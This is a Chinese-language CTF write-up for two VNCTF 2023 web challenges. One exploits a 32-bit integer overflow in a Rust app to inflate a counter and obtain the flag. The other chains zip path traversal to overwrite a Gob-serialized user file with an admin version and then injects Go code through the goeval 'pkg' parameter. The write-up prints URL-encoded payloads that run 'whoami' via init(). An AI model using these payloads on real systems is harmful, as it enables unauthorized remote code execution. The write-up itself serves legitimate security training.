查找Js文件,在某处发现了Jsfuck代码:
直接运行即可:
查看源代码,发现触发获得flag的逻辑:
if GONGDE.get() > 1_000_000_000 {
context.insert(
"flag",
&std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
);
}
当GONGDE
变量值大于1000000000时,能够得到flag。
代码给出了/upgrade
路由,可以通过name
和quantity
参数来控制业务逻辑。
const PAYLOADS: &[Payload] = &[
Payload {
name: "Cost",
cost: 10,
},
Payload {
name: "Loan",
cost: -1_000,
},
Payload {
name: "CCCCCost",
cost: 500,
},
Payload {
name: "Donate",
cost: 1,
},
Payload {
name: "Sleep",
cost: 0,
},
];
其中核心业务逻辑如下:
if payload.name == "Donate" || payload.name == "Cost" {
cost *= body.quantity;
}
if GONGDE.get() < cost as i32 {
return web::Json(APIResult {
success: false,
message: "功德不足",
});
}
if cost != 0 {
GONGDE.set(GONGDE.get() - cost as i32);
}
cost
变量已经在代码中定义,和 quantity
变量相乘后,重新赋值。而 quantity
变量则由用户传入。
但是代码中校验了 quantity
变量不能小于0,因此无法通过传入负数,通过两个负数相乘来使得GONGDE
增加。
但发现 cost
的类型为 i32
,存在整数溢出的问题。
int32的数值取值范围为 -2147483648
到 2147483647
;
因此构造如下Payload:
发现GONGDE增长了10,再将 quantity
修改小一点
得到flag
打开题目:
阅读源码,发现根路由创建了每个用户专属的目录,并生成了用户的身份验证文件user.gob
。
此处注意生成的逻辑,是对user
字符串进行了Gob序列化,将序列化后的内容写进了user.gob
文件。
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
})
注意到源码给出了后门方法,校验了用户的身份验证文件user.gob
中用户权限是否为admin
,如果是的话才进入到命令执行的逻辑分支。
这里先考虑如何修改用户权限,命令执行的具体方法见后文。
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
return
}
})
继续看源码,发现了存在上传功能。文件路径使用字符串拼接,因此可以考虑目录穿越去绕过,穿越到上层路径。但是代码对上传文件的扩展名做了限制,禁止上传.go
和.gob
文件,我们无法直接上传覆盖用户的身份文件。
r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})
好在源码中提供了一个解压的方法,解压目录依然使用字符串拼接,因此同样考虑目录穿越。
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
})
综上,我们可以通过Gob序列化构造身份为admin
的权限验证文件,再打包成压缩包上传至服务器,再通过目录穿越解压到根目录去覆盖原有的权限文件即可。
构造权限文件代码如下:
package main
import (
"encoding/gob"
"os"
)
type User struct {
Name string
Path string
Power string
}
func main() {
userDir := "/tmp/xxxxx/"
gobFile, _ := os.Create("user.gob")
user := User{Name: "ctfer", Path: userDir, Power: "admin"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
}
打包为zip文件并上传:
此时访问后门函数显示权限不足:
调用解压方法,并且使用path
参数穿越到根目录:
此时访问后门函数,已通过权限校验:
命令执行的方法参考Goeval代码注入导致远程代码执行(2022虎符Final)。
看一下后门方法中触发漏洞的代码:
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
DefaultQuery
用来给请求参数赋默认值,如果不传参数pkg
,那么将使用默认值fmt
。
这里调用了第三方模块goeval:https://github.com/PaulXu-cn/goeval
分析一下goeval的源码,可见是代码的拼接生成文件然后运行:
因此我们可以通过控制参数pkg
,注入一个")
,构造import代码块的闭合。但是程序后面原本的")
还在,我们声明一个变量var a=("1
,来构造注入,闭合掉后面的括号。
这里还需要用%0a
来绕过空格,因为空格是会被当做多个依赖包进行拆分的,导致语法错误,详情请见goeval源码。
我们尽管可以注入代码,但是程序仍然执行main函数,而main函数我们无法修改,导致没法执行其他的代码。
但是在go语言中有一个特殊的init()
函数,他在main()之前自动执行,所以通过init()
实现任意代码执行。
Payload如下:
GET /backdoor?pkg=fmt%22)%0afunc%0ainit(){fmt.Println("123")}%0avar%0a(a%3d%221 HTTP/1.1
Go语言进行命令执行的方法有:
cmd := exec.Command("whoami")
out, _ := cmd.CombinedOutput()
fmt.Println(string(out))
out, _ := exec.Command("whoami").Output()
fmt.Printf(out)
Payload如下:
GET /backdoor?pkg=%22os%2fexec%22%0a%20fmt%22)%0afunc%0ainit()%7bout%2c_%3a%3dexec.Command(%22whoami%22).Output()%0afmt.Printf(string(out))%7d%0avar%0a(a%3d%221 HTTP/1.1